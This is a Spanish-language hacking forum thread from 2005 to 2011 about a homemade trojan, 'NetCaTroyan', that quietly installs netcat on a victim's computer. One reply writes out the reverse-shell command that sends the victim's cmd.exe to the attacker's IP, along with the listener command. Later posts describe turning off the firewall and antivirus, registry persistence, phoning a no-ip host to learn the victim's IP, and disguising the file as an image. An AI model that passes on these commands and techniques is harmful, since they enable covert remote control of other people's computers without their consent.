Publicado por: Black_Defacer en 9 Agosto 2005, 11:05 am
Perdonen mi ignorancia,pero yo me e bajado el rar y me vienen tres archivos:el server,el nc y el editor. me podrian decir que función tiene cada uno porfavor? gracias perdonen mi ignorancia.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Nosferatu en 9 Agosto 2005, 12:25 pm
Pues el server es lo que has de mandarle a tu victima, que lo que hace es descargar sigilosemente el netcat (nc) de una web. El editor sirve para editar el server, es decir de donde quieres que se descargue el nc.exe y que comando quieres que se ejecute en la maquina objetivo. el nc (netcat) esta ahi por que es imprescindible, porque lo que tienes que hacer es poner a la escucha en tu maquina para que te llegue la shell de la victima, segun el comando que has elegido. Ejemplo:
has editado el server para que descargue netcar de http://www.dondesea.org/nc.exe    y tambien para que ejecute el comando nc -d -e cmd.exe tu.ip.tu.ip 5000      (es un ejemplo, el 5000 es el puerto)
Asique en tu maquina lo que deberias hacer es: nc -vv -l -p 5000. lo que haces con esto es dejar en escucha un puerto para que te llegue algo, que en este caso es la shell de tu victima

Lo mejor es que te leas un buen manual de netcat, y te daras cuenta de que lo unico (pero bueno) que hace el server es introducir nc en la maquina victima

Saludos!!

PD: insisto en recomendarte que leas algo sobre netcat antes de usarlo ;)


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: bigsnake en 25 Agosto 2005, 19:14 pm
bueno sin el editor no se pode hacer nada...
a mi no me edita el arxivo ni nada d eso..... ??? ??? ???


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: antraXactive en 29 Agosto 2005, 05:17 am
yo hice esto hace algo de tiempo, solo que en vez de en vb, lo hice con un bat y con haciendo un auto extrahible (sfx), ademas añade al registro las claves necesarias para que el firewall de windows no salte y quiero hacer que desactive los antivirus panda y norton... y si me dicen de mas antivirus que lo detecten como una herramienta mala malota pues también, pero bueno todo esto cuando tenga algo de tiempo que ahora ando muy muy liado.

y una preguntica, cuando el usuario apaga su pc y lo vuvele a encender este intentará conectar con nuestro pc para darnos la shell, pero imaginemos que por cualquier cosa nosotros tenemos apagada nuestra computadora, netcat seguiria intentandolo hasta conectar? no se, o si no tiene router y necesita conectar esta claro que hasta que no conecte el netcat no encontrara nuestra ip, asi que no funcionaría? yo en mi bat tenia ese problema, pero en mi mente ya ha circulado la respuesta, es bien sencilla, lo que aré es que el netcat intente conectar con nosotros a cada hora, por ejemplo, la víctima enciende el PC, pues a las 00:00 intentará conectar, después a las 01:00, 02:00, 03:00, etc


Salu2


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: yeikos en 31 Agosto 2005, 14:43 pm
Hola amigos , el programa esta lindo , osea mejor dicho la idea esta buena ;D , pero supongamos que la victima no tiene la runtime de VB6  MSVBVM60.DLL , el programa no andaria .Y se acabo todo  :D

Salu2 ! ;)


A partir de Windows 98 para arriba (excluyendo este) todos los demas SO contienen esa libreria y no supone un problema a gran escala.

PD: Yo he programado mi propio programa (Intrusion Net Cat) que desactiva el firewall de windows, envia una notificación a xxxx.no-ip.info para saber la IP de la victima, se autocopia a system32 y se inicia desde el registro, luego baja el NC de un servidor FTP (sin usar winsock o INET) y lanza la shell, todo esto sin que la victima vea nada. El programa ocupa 20kb, está en fase beta y a la espera de la construcción del edit server.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: SeniorX en 31 Agosto 2005, 22:51 pm
lo podrias publicar :)  ::) :P :) :D


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: yeikos en 2 Septiembre 2005, 14:41 pm
Necesito beta testers para comprobar un correcto funcionamientom, lo he probado en localhost con Windows XP y con un amigo (internet) con Windows XP, quiero hacer alguna comprovación más en WinXP y alguna en Windows 98/ME. Interesados que me agreguen: yeikos@hotmail.com
Si me agregan no es para preguntarme cuanto falta, sino para ayudar, gracias  ;).


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: SeniorX en 4 Septiembre 2005, 05:15 am
yo te agregue a msn


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Oprah en 3 Octubre 2005, 19:41 pm
Buenas Gente
Baje el archivo y se entiende como funciona, no se si funciona, pero es simple, trabaja como un troyano creo yo, tennes que mandarle el server y cuando lo ejecute la orden es bajar de una web el nc configurado para q se ejecute solo y haga estas opciones q le pedimos al editar server.exe
Si bien la idea es buena, el problema siempre sigue estando, mandar un archivo .exe es sospechoso y aunn no encontre quien me diga como mandar una foto, una simple .jpg que al abrirla instale el programa.
Ademas, si hay q enviar un exe, para eso enviamos el nc.exe ya editado y con el nombre cambiado.
Nos esta faltando una forma no sospechoza de meter el nc en una maquina.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: SeniorX en 3 Octubre 2005, 22:36 pm
porque le dan tanta vuelta al tema si hasta la persona mas tonta tiene un firewall o un antivirus, o las 2.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: yeikos en 4 Octubre 2005, 15:53 pm
porque le dan tanta vuelta al tema si hasta la persona mas tonta tiene un firewall o un antivirus, o las 2.

Eso es problema para el INC 2.0 :) .


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Oprah en 4 Octubre 2005, 16:05 pm
Creo q los antivirus no joden con el NC y si usas un puerto q Win no tenga bloqueado, ya estas.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: SeniorX en 4 Octubre 2005, 23:03 pm
eso depende, pero mi firewall me avisa todo lo que esta pasando, casi me dice cuando tiene calor XD


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: hollow en 30 Septiembre 2011, 23:45 pm
reviviendo un poquito el tema aver si hay suerte y alguien tiene el programa o similar??si alguien lo tiene porfavor xd (se que se publico hace 6 años...xd)